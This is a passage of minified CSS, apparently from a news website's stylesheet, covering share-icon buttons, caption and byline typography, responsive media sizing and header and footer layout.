0);clip:rect(0 0 0 0);overflow:hidden;}@-webkit-keyframes animation-7y3qfv{0%{opacity:0;}10%,90%{opacity:1;}100%{opacity:0;}}@keyframes animation-7y3qfv{0%{opacity:0;}10%,90%{opacity:1;}100%{opacity:0;}}.css-l72opv{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;position:relative;right:3px;}.css-l72opv a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-l72opv:nth-of-type(3),.css-l72opv:nth-of-type(4){display:none;}}.css-l72opv:last-of-type{margin-right:0;}.css-4skfbu{color:#999;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:17px;margin-bottom:5px;margin-bottom:0;}@media print{.css-4skfbu{display:none;}}.css-1fcn4th{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-1fcn4th a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-1fcn4th:nth-of-type(3),.css-1fcn4th:nth-of-type(4){display:none;}}.css-1fcn4th:last-of-type{margin-right:0;}@media (max-width:1150px){.css-1fcn4th:nth-of-type(1),.css-1fcn4th:nth-of-type(2),.css-1fcn4th:nth-of-type(3){display:none;}}.css-13zu7ev{display:inline-block;height:15px;vertical-align:middle;width:15px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:14px;height:14px;}.css-13zu7ev.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-13zu7ev.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-13zu7ev.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-13zu7ev.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-13zu7ev.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-13zu7ev.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-13zu7ev.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-13zu7ev:hover{background-color:#fff;border:1px solid #ccc;}.css-f7l8cz{display:inline-block;height:15px;vertical-align:middle;width:15px;bottom:5px;position:relative;width:14px;height:14px;bottom:4px;}.css-f7l8cz.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-f7l8cz.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-f7l8cz.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-f7l8cz.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-f7l8cz.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-f7l8cz.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-f7l8cz.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-16ogagc{background:transparent;display:inline-block;height:20px;width:20px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:27px;height:27px;}.css-16ogagc.hidden{opacity:0;visibility:hidden;}.css-16ogagc.hidden:focus{opacity:1;}.css-16ogagc:hover{background-color:#fff;border:1px solid #ccc;}.css-17ai7jg{color:#666;font-family:nyt-imperial,georgia,'times new roman',times,serif;margin:10px 20px 0;text-align:left;}.css-17ai7jg a{color:#326891;-webkit-text-decoration:none;text-decoration:none;}.css-17ai7jg a:hover,.css-17ai7jg a:focus{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:600px){.css-17ai7jg{margin-left:0;}}.sizeSmall .css-17ai7jg{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:calc(50% - 15px);margin:auto 0 15px 15px;}@media (min-width:600px){.sizeSmall .css-17ai7jg{width:260px;margin-left:15px;}}@media (min-width:740px){.sizeSmall .css-17ai7jg{margin-left:15px;}}@media (min-width:1440px){.sizeSmall .css-17ai7jg{width:330px;margin-left:15px;}}@media (max-width:600px){.sizeSmall .css-17ai7jg{margin:auto 0 0 15px;}}.sizeSmall.sizeSmallNoCaption .css-17ai7jg{margin-left:auto;margin-right:auto;margin-top:10px;}.sizeMedium .css-17ai7jg{max-width:900px;}.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{margin-left:0;margin-right:0;}@media (min-width:600px){.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:255px;margin:auto 0 15px 15px;}}@media (min-width:1440px){.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{width:325px;}}.sizeLarge .css-17ai7jg{max-width:none;}@media (min-width:600px){.sizeLarge .css-17ai7jg{margin-left:20px;}}@media (min-width:740px){.sizeLarge .css-17ai7jg{margin-left:20px;max-width:900px;}}@media (min-width:1024px){.sizeLarge .css-17ai7jg{margin-left:0;max-width:720px;}}@media (min-width:1440px){.sizeLarge .css-17ai7jg{margin-left:0;max-width:900px;}}@media (min-width:740px){.sizeLarge.layoutVertical .css-17ai7jg{margin-left:0;}}.sizeFull .css-17ai7jg{margin-left:20px;}@media (min-width:600px){.sizeFull .css-17ai7jg{max-width:900px;}}@media (min-width:740px){.sizeFull .css-17ai7jg{max-width:900px;}}@media (min-width:1440px){.sizeFull .css-17ai7jg{max-width:900px;}}@media print{.css-17ai7jg{display:none;}}.css-8i9d0s{margin-right:7px;color:#666;font-family:nyt-imperial,georgia,'times new roman',times,serif;font-size:0.875rem;line-height:1.125rem;}@media (min-width:740px){.css-8i9d0s{font-size:0.9375rem;line-height:1.25rem;}}.css-8i9d0s strong{font-weight:700;}.css-8i9d0s em{font-style:italic;}.css-8i9d0s a{color:#326891;}.css-8i9d0s a:visited{color:#326891;}.css-1nwzsjy{display:inline-block;color:#888;font-family:nyt-imperial,georgia,'times new roman',times,serif;line-height:1.125rem;-webkit-letter-spacing:0.01em;-moz-letter-spacing:0.01em;-ms-letter-spacing:0.01em;letter-spacing:0.01em;font-size:0.75rem;}@media (min-width:740px){.css-1nwzsjy{font-size:0.75rem;}}@media (min-width:1150px){.css-1nwzsjy{font-size:0.8125rem;}}@media (min-width:600px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:5px;}}@media (min-width:1024px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:5px;}}@media (min-width:1440px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:40px;}}@media (max-width:600px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:-8px;}}@media print{.css-1nwzsjy{display:none;}}.css-10698na{text-align:center;}@media (min-width:740px){.css-10698na{padding-top:0;}}@media (min-width:1024px){}@media print{.css-10698na a[href]::after{content:'';}.css-10698na svg{fill:black;}}.css-nhjhh0{display:block;width:189px;height:26px;margin:5px auto 0;}@media (min-width:740px){.css-nhjhh0{width:225px;height:31px;margin:4px auto 0;}}@media (min-width:1024px){.css-nhjhh0{width:195px;height:26px;margin:6px auto 0;}}.css-1nuro5j{display:inline-block;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;font-size:0.875rem;line-height:1.125rem;margin:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;color:#333;}@media (min-width:740px){.css-1nuro5j{font-size:0.9375rem;line-height:1.25rem;}}.css-1w5cs23{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:0;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;}.css-1w5cs23 li{list-style:none;}.css-4brsb6{display:inline-block;height:15px;vertical-align:middle;width:15px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:15px;height:15px;}.css-4brsb6.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-4brsb6.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-4brsb6.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-4brsb6.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-4brsb6.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-4brsb6.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-4brsb6.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-4brsb6:hover{background-color:#fff;border:1px solid #ccc;}.css-uhuo44{display:inline-block;height:15px;vertical-align:middle;width:15px;bottom:5px;position:relative;width:15px;height:15px;bottom:4px;}.css-uhuo44.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-uhuo44.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-uhuo44.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-uhuo44.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-uhuo44.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-uhuo44.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-uhuo44.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-exrw3m{margin-bottom:0.78125rem;margin-top:0;font-family:nyt-imperial,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.5625rem;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:740px){.css-exrw3m{margin-bottom:0.9375rem;margin-top:0;}}.css-exrw3m .css-1g7m0tk{-webkit-text-decoration:underline;text-decoration:underline;}.css-exrw3m .css-1g7m0tk:hover,.css-exrw3m .css-1g7m0tk:focus{-webkit-text-decoration:none;text-decoration:none;}@media (min-width:740px){.css-exrw3m{font-size:1.25rem;line-height:1.875rem;}}.css-exrw3m:first-child{margin-top:0;}.css-exrw3m:last-child{margin-bottom:0;}.css-exrw3m.e1h9rw200:last-child{margin-bottom:0.75rem;}@media (min-width:600px){.css-exrw3m{margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-exrw3m{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-exrw3m{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1a48zt4{opacity:1;-webkit-transition:opacity 0.3s 0.2s;transition:opacity 0.3s 0.2s;}.css-vuqh7u{display:inline-block;color:#888;font-family:nyt-imperial,georgia,'times new roman',times,serif;line-height:1.125rem;-webkit-letter-spacing:0.01em;-moz-letter-spacing:0.01em;-ms-letter-spacing:0.01em;letter-spacing:0.01em;font-size:0.75rem;}@media (min-width:740px){.css-vuqh7u{font-size:0.75rem;}}@media (min-width:1150px){.css-vuqh7u{font-size:0.8125rem;}}.css-1l44abu{font-family:nyt-imperial,georgia,'times new roman',times,serif;color:#666;margin:10px 20px 0 20px;text-align:left;}.css-1l44abu a{color:#326891;-webkit-text-decoration:none;text-decoration:none;}.css-1l44abu a:hover,.css-1l44abu a:focus{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:600px){.css-1l44abu{margin-left:0;margin-right:20px;}}@media (min-width:1440px){.css-1l44abu{max-width:px;}}.css-jcw7oy{width:100%;max-width:600px;margin:2.3125rem auto;}@media (min-width:600px){.css-jcw7oy{width:calc(100% - 40px);}}@media (min-width:740px){.css-jcw7oy{width:auto;max-width:600px;}}@media (min-width:1440px){.css-jcw7oy{max-width:720px;}}.css-jcw7oy strong{font-weight:700;}.css-jcw7oy em{font-style:italic;}@media (min-width:740px){.css-jcw7oy{margin:2.6875rem auto;}}.css-10raysz{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;width:calc(100% - 40px);max-width:600px;padding:0 1rem 0 0;}.css-10raysz a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-10raysz:nth-of-type(3),.css-10raysz:nth-of-type(4){display:none;}}.css-10raysz:last-of-type{margin-right:0;}.css-10raysz:nth-of-type(1),.css-10raysz:nth-of-type(2),.css-10raysz:nth-of-type(3),.css-10raysz:nth-of-type(4){display:inline;}@media (min-width:600px){.css-10raysz{width:330px;}}.css-ar1l6a{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-ar1l6a a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-ar1l6a:nth-of-type(3),.css-ar1l6a:nth-of-type(4){display:none;}}.css-ar1l6a:last-of-type{margin-right:0;}.css-ar1l6a:nth-of-type(1),.css-ar1l6a:nth-of-type(2),.css-ar1l6a:nth-of-type(3),.css-ar1l6a:nth-of-type(4){display:inline;}.css-1ede5it{background-color:#f7f7f7;border-bottom:1px solid #f3f3f3;border-top:1px solid #f3f3f3;margin:37px auto;padding-bottom:30px;padding-top:12px;text-align:center;margin-top:60px;}@media (min-width:740px){.css-1ede5it{margin:43px auto;}}@media print{.css-1ede5it{display:none;}}@media (min-width:740px){.css-1ede5it{margin-bottom:0;margin-top:0;}}.css-mn5hq9{cursor:pointer;margin:0;border-top:1px solid #ebebeb;color:#333;font-family:nyt-franklin;font-size:13px;font-weight:700;height:44px;-webkit-letter-spacing:0.04rem;-moz-letter-spacing:0.04rem;-ms-letter-spacing:0.04rem;letter-spacing:0.04rem;line-height:44px;text-transform:uppercase;}.accordionExpanded .css-mn5hq9{color:#b3b3b3;}.css-1qmnftd{font-size:11px;text-align:center;}@media (max-width:600px){.css-1qmnftd{padding-bottom:25px;}}@media (min-width:600px){.css-1qmnftd{padding-bottom:25px;}}@media (min-width:1024px){.css-1qmnftd{padding:0 3% 9px;}}@media (min-width:1150px){.css-1qmnftd{margin:0 auto;max-width:1200px;}}.NYTApp .css-1qmnftd{display:none;}@media print{.css-1qmnftd{display:none;}}.css-1ho5u4o{list-style:none;margin:0 0 15px;padding:0;}@media (min-width:600px){.css-1ho5u4o{display:inline-block;}}.css-13o0c9t{list-style:none;line-height:8px;margin:0 0 35px;padding:0;}@media (min-width:600px){.css-13o0c9t{display:inline-block;}}.css-1yo489b{display:inline-block;line-height:20px;padding:0 10px;}.css-1yo489b:first-child{border-left:none;}.css-1yo489b.desktop{display:none;}@media (min-width:740px){.css-1yo489b.smartphone{display:none;}.css-1yo489b.desktop{display:inline-block;}}.css-ulr03x{opacity:1;visibility:visible;-webkit-animation-name:animation-5j8bii;animation-name:animation-5j8bii;-webkit-animation-duration:300ms;animation-duration:300ms;-webkit-animation-delay:0ms;animation-delay:0ms;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;}@media print{.css-ulr03x{margin-bottom:15px;}}@media (min-width:1024px){.css-ulr03x{position:fixed;width:100%;top:0;left:0;z-index:200;background-color:#fff;border-bottom:none;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}}@media (min-width:1024px){.css-1bymuyk{position:relative;border-bottom:1px solid #e2e2e2;}}.css-1waixk9{background:#fff;border-bottom:1px solid #e2e2e2;height:36px;padding:8px 15px 3px;position:relative;}@media (min-width:740px){.css-1waixk9{background:#fff;padding:10px 15px 6px;}}@media (min-width:1024px){.css-1waixk9{background:transparent;border-bottom:0;padding:4px 15px 2px;}}@media print{.css-1waixk9{background:transparent;}}@media (min-width:740px){}@media (min-width:1024px){.css-1waixk9{margin:0 auto;max-width:1605px;}}.css-1f7ibof{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;left:10px;position:absolute;}@media (min-width:1024px){}@media print{.css-1f7ibof{display:none;}}.css-l2ztic{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;padding:8px 9px;text-transform:uppercase;}.css-l2ztic.hidden{opacity:0;visibility:hidden;}.css-l2ztic.hidden:focus{opacity:1;}.css-l2ztic::-moz-focus-inner{padding:0;border:0;}.css-l2ztic:-moz-focusring{outline:1px dotted;}.css-l2ztic:disabled,.css-l2ztic.disabled{opacity:0.5;cursor:default;}.css-l2ztic:active,.css-l2ztic.active{background-color:#f7f7f7;}@media (min-width:740px){.css-l2ztic:hover{background-color:#f7f7f7;}}@media (min-width:1024px){.css-l2ztic{display:none;}}.css-19lv58h{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;-webkit-appearance:button;-moz-appearance:button;appearance:button;background-color:#fff;border:1px solid #ebebeb;color:#333;display:inline-block;font-size:11px;font-weight:500;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;line-height:13px;margin:0;padding:8px 9px;text-transform:uppercase;vertical-align:middle;display:none;}.css-19lv58h::-moz-focus-inner{padding:0;border:0;}.css-19lv58h:-moz-focusring{outline:1px dotted;}.css-19lv58h:disabled,.css-19lv58h.disabled{opacity:0.5;cursor:default;}.css-19lv58h:active,.css-19lv58h.active{background-color:#f7f7f7;}@media (min-width:740px){.css-19lv58h:hover{background-color:#f7f7f7;}}@media (min-width:1024px){.css-19lv58h{border:0;display:inline-block;margin-right:8px;}}.css-mgtjo2{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;}.css-mgtjo2::-moz-focus-inner{padding:0;border:0;}.css-mgtjo2:-moz-focusring{outline:1px dotted;}.css-mgtjo2:disabled,.css-mgtjo2.disabled{opacity:0.5;cursor:default;}.css-mgtjo2:active,.css-mgtjo2.active{background-color:#f7f7f7;}@media (min-width:740px){.css-mgtjo2:hover{background-color:#f7f7f7;}}.css-mgtjo2.activeSearchButton{background-color:#f7f7f7;}@media (min-width:1024px){.css-mgtjo2{padding:8px 9px 9px;}}.css-1wr3we4{display:none;}@media (min-width:1024px){.css-1wr3we4{display:block;position:absolute;left:105px;line-height:19px;top:10px;}}.css-y3sf94{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;position:absolute;right:10px;top:9px;}@media (min-width:1024px){.css-y3sf94{top:4px;}}@media print{.css-y3sf94{display:none;}}.css-1bnxwmn{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:#6288a5;border:1px solid #326891;color:#fff;font-size:11px;font-weight:700;-webkit-letter-spacing:0.05em;-moz-letter-spacing:0.05em;-ms-letter-spacing:0.05em;letter-spacing:0.05em;line-height:11px;padding:8px 9px 6px;text-transform:uppercase;}.css-1bnxwmn::-moz-focus-inner{padding:0;border:0;}.css-1bnxwmn:-moz-focusring{outline:1px dotted;}.css-1bnxwmn:disabled,.css-1bnxwmn.disabled{opacity:0.5;cursor:default;}@media (min-width:740px){.css-1bnxwmn:hover{background-color:#326891;}}@media (min-width:1024px){.css-1bnxwmn{padding:11px 12px 8px;}}.css-1bnxwmn:hover{border:1px solid #326891;}.css-1i8g3m4{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;display:block;}.css-1i8g3m4.hidden{opacity:0;visibility:hidden;}.css-1i8g3m4.hidden:focus{opacity:1;}.css-1i8g3m4::-moz-focus-inner{padding:0;border:0;}.css-1i8g3m4:-moz-focusring{outline:1px dotted;}.css-1i8g3m4:disabled,.css-1i8g3m4.disabled{opacity:0.5;cursor:default;}.css-1i8g3m4:active,.css-1i8g3m4.active{background-color:#f7f7f7;}@media (min-width:740px){.css-1i8g3m4:hover{background-color:#f7f7f7;}}@media (min-width:740px){.css-1i8g3m4{border:none;line-height:13px;padding:9px 9px 12px;}}@media (min-width:1024px){.css-1i8g3m4{display:none;}}@media (min-width:1150px){}.css-3qijnq{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:11px;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;padding:13px 20px 12px;}@media (min-width:740px){.css-3qijnq{position:relative;}}@media (min-width:1024px){.css-3qijnq{-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;border:none;padding:0;height:0;-webkit-transform:translateY(42px);-ms-transform:translateY(42px);transform:translateY(42px);}}@media print{.css-3qijnq{display:none;}}.css-uqyvli{color:#121212;font-size:13px;font-family:nyt-franklin,helvetica,arial,sans-serif;display:none;width:auto;}@media (min-width:740px){.css-uqyvli{text-align:center;width:100%;}}@media (min-width:1024px){.css-uqyvli{font-size:12px;margin-bottom:10px;width:auto;}}.css-1uqjmks{color:#121212;font-size:12px;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:500;display:none;}@media (min-width:740px){.css-1uqjmks{margin:0;position:absolute;left:20px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;top:0;bottom:0;}}@media (min-width:1024px){.css-1uqjmks{display:none;}}.css-1bvtpon{display:none;}@media (min-width:1024px){}.css-1vxca1d{position:relative;margin:0 auto;}@media (min-width:600px){.css-1vxca1d{margin:0 auto 20px;}}.css-1vxca1d .relatedcoverage + .recirculation{margin-top:20px;}.css-1vxca1d .wrap + .recirculation{margin-top:20px;}@media (min-width:1024px){.css-1vxca1d{padding-top:40px;}}.css-1ox9jel{margin:37px auto;margin-top:20px;margin-bottom:32px;}.css-1ox9jel strong{font-weight:700;}.css-1ox9jel em{font-style:italic;}.css-1ox9jel.sizeSmall{width:calc(100% - 40px);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}@media (min-width:600px){.css-1ox9jel.sizeSmall{max-width:600px;margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-1ox9jel.sizeSmall{width:100%;}}@media (min-width:1440px){.css-1ox9jel.sizeSmall{max-width:600px;}}.css-1ox9jel.sizeSmall.sizeSmallNoCaption{display:block;}@media print{.css-1ox9jel.sizeSmall.sizeSmallNoCaption{display:none;}}.css-1ox9jel.sizeMedium{width:100%;max-width:600px;margin-right:auto;margin-left:auto;}@media (min-width:600px){.css-1ox9jel.sizeMedium{width:calc(100% - 40px);}}@media (min-width:740px){.css-1ox9jel.sizeMedium{max-width:600px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium{max-width:720px;}}@media (min-width:600px){.css-1ox9jel.sizeMedium.layoutVertical{width:420px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium.layoutVertical{width:480px;}}.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{width:calc(100% - 40px);}@media (min-width:600px){.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:600px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{width:600px;}}.css-1ox9jel.sizeLarge{width:100%;max-width:1200px;margin-left:auto;margin-right:auto;}@media (min-width:600px){.css-1ox9jel.sizeLarge{width:auto;}}@media (min-width:740px){.css-1ox9jel.sizeLarge.layoutVertical{width:600px;}.css-1ox9jel.sizeLarge.layoutVertical.verticalVideo{width:600px;}}@media (min-width:1024px){.css-1ox9jel.sizeLarge{width:945px;}}@media (min-width:1440px){.css-1ox9jel.sizeLarge{width:1200px;}.css-1ox9jel.sizeLarge.layoutVertical{width:720px;}.css-1ox9jel.sizeLarge.layoutVertical.verticalVideo{width:600px;}}@media (min-width:600px){.css-1ox9jel{margin:43px auto;}}@media print{.css-1ox9jel{display:none;}}@media (min-width:740px){.css-1ox9jel{margin-top:25px;}}.css-1riqqik{display:inline;color:#333;}.css-1riqqik span{-webkit-text-decoration:underline;text-decoration:underline;-webkit-text-decoration-color:#ccc;text-decoration-color:#ccc;}.css-1riqqik span:hover,.css-1riqqik span:focus{-webkit-text-decoration:none;text-decoration:none;}.css-2fg4z9{font-style:italic;}.css-11n4cex{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:15px;margin-top:4px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-11n4cex{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-11n4cex{width:600px;}}.css-11n4cex .e6idgb70{font-size:14px;margin:0;}.css-1ifw933{font-style:normal;font-stretch:normal;margin-bottom:1.6rem;color:#333;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-weight:300;-webkit-letter-spacing:0.005em;-moz-letter-spacing:0.005em;-ms-letter-spacing:0.005em;letter-spacing:0.005em;font-size:1.3125rem;line-height:1.6875rem;}@media (min-width:740px){.css-1ifw933{font-size:1.5rem;line-height:1.9375rem;}}.css-1rjmmt7{width:50px;vertical-align:bottom;margin-right:10px;}.css-rqb9bm{font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:500;color:#333;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;font-size:0.875rem;line-height:1.125rem;margin-bottom:1rem;}.css-19hdyf3{font-family:nyt-franklin,helvetica,arial,sans-serif;color:#333;font-size:0.9375rem;line-height:1.25rem;font-family:nyt-franklin,helvetica,arial,sans-serif;color:#333;font-size:0.9375rem;line-height:1.25rem;}.css-19hdyf3 p{margin-bottom:0.75rem;}.css-19hdyf3 a,.css-19hdyf3 a:visited{color:#326891;-webkit-text-decoration:underline;text-decoration:underline;}.css-19hdyf3 a:hover,.css-19hdyf3 a:focus{color:#326891;-webkit-text-decoration:none;text-decoration:none;}@media print{.css-19hdyf3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media (min-width:740px){.css-19hdyf3{font-size:1rem;line-height:1.375rem;}}.css-19hdyf3 p{margin-bottom:0.75rem;}.css-19hdyf3 a,.css-19hdyf3 a:visited{color:#326891;-webkit-text-decoration:underline;text-decoration:underline;}.css-19hdyf3 a:hover,.css-19hdyf3 a:focus{color:#326891;-webkit-text-decoration:none;text-decoration:none;}@media print{.css-19hdyf3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-15g2oxy{margin-top:1rem;}.css-2b3w4o{margin-bottom:1rem;}.css-2b3w4o .e16638kd0{margin-top:5px;margin-bottom:0;display:inline-block;color:#999;font-size:0.75rem;line-height:1.0625rem;}.css-2b3w4o:hover .e16ij5yr2,.css-2b3w4o:visited .e16ij5yr2{color:#666;}.css-2b3w4o .css-1g7m0tk{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;min-height:100px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}.css-14b9hti{font-weight:500;color:#a19d9d;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.375rem;}@media (min-width:740px){.css-14b9hti{font-size:1.1875rem;line-height:1.4375rem;}}.css-1j8dw05{margin-right:10px;display:inline;font-weight:500;color:#121212;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.375rem;}@media (min-width:740px){.css-1j8dw05{font-size:1.1875rem;line-height:1.4375rem;}}.css-1vm5oi9{margin-left:10px;width:120px;min-width:120px;}@media (min-width:740px){.css-1vm5oi9{width:165px;min-width:165px;}}.css-32rbo2{width:100%;min-width:120px;}.css-llk6mt{margin-top:5px;}@media (min-width:740px){.css-llk6mt{margin-top:45px;margin-bottom:0;}}.css-llk6mt 